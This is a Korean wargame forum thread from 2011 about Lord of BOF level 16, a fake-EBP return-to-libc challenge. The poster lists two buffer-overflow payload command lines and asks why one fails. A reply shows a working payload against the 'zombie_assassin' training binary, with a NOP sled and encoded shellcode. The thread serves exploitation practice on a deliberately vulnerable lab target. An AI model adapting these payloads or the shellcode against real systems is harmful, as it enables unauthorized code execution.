레벨 해킹

 2839, 1/142 회원가입  로그인  
   incaro
   [LOB] LEVEL16 - FAKE EBP 문제 질문.

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=3216 [복사]


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1) FAKE EBP를 버퍼의 시작 주소로 하여 RTL 하면 성공
[ "AAAA" ] + [system()] + [exit()] + ["/bin/sh"] + [NOP*24] + [fake ebp:(buffer)] + [leave;let]
--------------------------------------------------------------------------------------------------------------
$(python -c 'print "AAAA" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\x90"*24 + "\xb0\xfa\xff\xbf" + "\x32\x85\x04\x08"')
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
2) FAKE EBP를 argv[2]로 하여 RTL 하면 실패.
ARGV[1]::([ "D"*40 ] + [fake ebp:(argv[2])] + [leave;ret])  
ARGV[2]::(["AAAA"] + [system()] + [exit()] + ["/bin/sh"])
--------------------------------------------------------------------------------------------------------------
$(python -c 'print "D"*40 + "\x48\xfc\xff\xbf" + "\x32\x85\x04\x08"') $(python -c 'print "AAAA" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40"')
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
※(위의 leave;ret 주소는 사본 주소 입니다)

※ 1번은 되고 2번은 안됩니다. (주소가 틀릴시 Segmentation fault가 나지만 에러도 없습니다.)
이유를 모르겠네요.

  Hit : 3645     Date : 2011/06/11 07:18



    
멍멍 이것도 내일 답변 드릴께요~ 시간이 넘 늦어서~~ 2011/07/04  
멍멍 이럴 땐 gdb를 붙여서 instruction 단위로 코드 흐름을 따라가며 문제점을 찾아보세욥! 2011/07/06  
멍멍 참고로 제가 사용했던 payload입니다 저도 argv[2]를 썼었구요~

./zombie_assassin `perl -e 'printf "\xe7\xfb\xff\xbf"x10 . "\xb0\xfb\xff\xbf" . "\xdf\x84\x04\x08"'` `perl -e 'printf "\x90"x50 . "\xb8\xb8\x91\x2e\x55\x31\xc9\xd9\xc3\xd9\x74\x24\xf4\xb1\x0b\x5d\x31\x45\x13\x03\x45\x13\x83\xed\xfc\xe2\x4d\xfb\x25\x0d\x34\xae\x5f\xc5\x6b\x2c\x29\xf2\x1b\x9d\x5a\x95\xdb\x89\xb3\x07\xb2\x27\x45\x24\x16\x50\x5d\xab\x96\xa0\x71\xc9\xff\xce\xa2\x7e\x97\x0e\xea\xd3\xee\xee\xd9\x54"'`

\xb8\xb8 .... 은 평범한 쉘코드입니다
2011/07/06